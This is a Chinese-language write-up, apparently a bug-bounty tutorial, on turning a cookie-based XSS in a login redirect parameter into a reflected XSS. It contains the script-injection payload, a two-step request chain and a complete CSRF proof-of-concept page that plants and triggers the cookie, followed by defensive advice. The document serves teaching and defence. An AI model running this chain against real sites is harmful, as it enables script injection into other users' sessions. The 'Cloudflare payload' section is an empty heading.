Cookie worth a fortune
字数 1459 2025-08-25 22:58:20
基于Cookie的XSS漏洞转换为反射型XSS漏洞技术详解
1. 漏洞背景与概念
1.1 基于Cookie的XSS漏洞
- 通常难以利用,因为攻击者需要物理插入恶意Cookie
- 需要将Cookie值插入页面才能激活payload
1.2 反射型XSS漏洞
- 更容易利用,通过构造恶意URL即可触发
- 通常通过URL参数直接反射执行
2. 案例研究环境
2.1 应用程序架构
- 三层Web应用:
- 表示层(前端/用户界面)
- 应用程序层(功能逻辑)
- 数据层(数据库)
2.2 关键功能点
- 登录页面:用户凭据验证
- 注销功能:重定向到登录页面,URL格式为:
https://example.com/login?redirect=%2Fxyz
3. 漏洞发现过程
3.1 初始XSS测试
- 尝试在redirect参数中插入JavaScript代码:
https://example.com/login?redirect=javascript:alert(document.domain) - 结果:应用忽略payload并重定向到/home
3.2 反射型XSS测试
- 测试redirect参数值反射:
GET https://example.com/login?redirect=hello - 响应:重定向到
https://example.com/login?redirect=/hello - 初步判断无反射型XSS
3.3 源代码分析发现
- 请求
GET /login并检查响应源代码 - 发现redirect参数值被存储在cookie
redirectTo中 - 响应中包含:
<script> ... redirect = '/hello'; if (redirect === null || redirect === 'null') { redirect = undefined; } ... </script>
4. 漏洞验证
4.1 构造XSS payload
- 修改cookie
redirectTo值为:/asd ';alert(document.domain)//asd - 服务器响应:
<script> ... Redirect='/asd';alert(document.domain)//asd'; ... </script> - 浏览器渲染时会执行alert弹窗
5. 漏洞转换技术
5.1 转换思路
- 目标:将基于Cookie的XSS转换为反射型XSS
- 关键发现:
redirectTocookie会从URL中的redirect参数获取值
5.2 转换流程
- 通过URL中的redirect参数设置cookie:
example.com/login?redirect=hello → example.com/login (Cookie: redirectTo=/hello) - 直接设置redirect参数为payload无法触发,因为:
- URL中有重定向参数:登录后重定向到指定路径
- URL中无重定向参数:从cookie获取路径并执行
5.3 分步利用方法
-
第一步请求:
GET https://example.com/login/?redirect=asd';alert(document.domain)//asd- 设置cookie
redirectTo=/asd';alert(document.domain)//asd
- 设置cookie
-
第二步请求:
GET https://example.com/login- 无redirect参数
- 从cookie获取并执行payload
6. 自动化利用技术
6.1 CSRF POC代码
<script>
function exploit() {
setTimeout(function() {
var s1 = new XMLHttpRequest(); // 第一步请求
s1.open('GET', 'https://example.com/login/', true);
s1.send(null);
document.location.href='https://example.com/login/'; // 重定向到页面
}, 1000);
}
</script>
<body onload="exploit()">
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'https://example.com/login/?redirect=asd\';alert(document.domain)//asd', false);
xmlhttp.send(null);
</script>
6.2 代码执行流程
- 发送GET请求设置恶意cookie
- 延迟1秒后发送第二个GET请求触发payload
- 通过重定向完成漏洞利用
7. 防御建议
7.1 输入验证
- 对所有输入参数进行严格验证
- 包括URL参数和Cookie值
7.2 输出编码
- 对所有动态输出进行HTML编码
- 特别是从Cookie或URL参数获取的值
7.3 安全配置
- 设置HttpOnly标志防止JavaScript访问敏感Cookie
- 实施Content Security Policy (CSP)
7.4 代码审查
- 检查所有将URL参数值存储到Cookie的逻辑
- 确保没有直接将用户输入插入脚本标签的情况
8. 扩展技巧
8.1 Cloudflare环境下有效payload
9. 总结
本技术文档详细介绍了如何将基于Cookie的XSS漏洞转换为更易利用的反射型XSS漏洞。关键在于发现应用程序将URL参数值存储到Cookie,然后在不带参数的情况下访问页面时从Cookie读取并执行这些值的机制。通过分步请求和自动化CSRF POC,攻击者可以绕过直接利用Cookie XSS的限制,使漏洞利用更加可行。防御此类漏洞需要全面的输入验证、输出编码和安全配置策略。